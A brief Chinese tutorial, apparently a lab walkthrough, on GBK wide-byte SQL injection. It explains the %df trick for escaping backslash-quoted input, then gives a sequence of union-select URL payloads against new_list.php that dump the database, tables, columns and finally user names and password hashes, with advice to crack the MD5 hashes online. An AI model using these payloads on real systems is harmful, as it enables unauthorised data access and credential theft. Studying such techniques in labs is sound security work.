原理
因为当想构造单引号 ‘ 的时候,被转义成 \' ,无法构造sql查询语句。
解决核心思想
当数据库编码为GBK的时候,在构造的单引号前加上%df,因为反斜杠的编码为%5c,%df%5c可以构造成一个繁体字"逮",单引号可以成功逃逸。
/new_list.php?id=1%df%27,单引号成功逃逸
/new_list.php?id=1%df' order by 1-- + 没报错
测试测到有5个字段
/new_list.php?id=-1%df' union select 1,2,3,4,5--+ 测试回显位置
/new_list.php?id=-1%df' union select 1,2,database(),4,5--+ 爆库
new_list.php?id=-1%df' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()),4,5--+ 爆表
这里爆字段需要注意一下,因为根据where=’表‘ 查 字段名字,这里用到单引号,这里也会被转义所以会出现以下报错
所以需要把表名转16进制(前面加上0x)
/new_list.php?id=-1%df' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name=0x73746f726d67726f75705f6d656d626572),4,5--+ 爆字段
最后爆字段值 /new_list.php?id=-1%df' union select 1,2,(select group_concat(password) from stormgroup_member),4,(select group_concat(name) from stormgroup_member)--+
一个一个试一试,MD5在线解密即可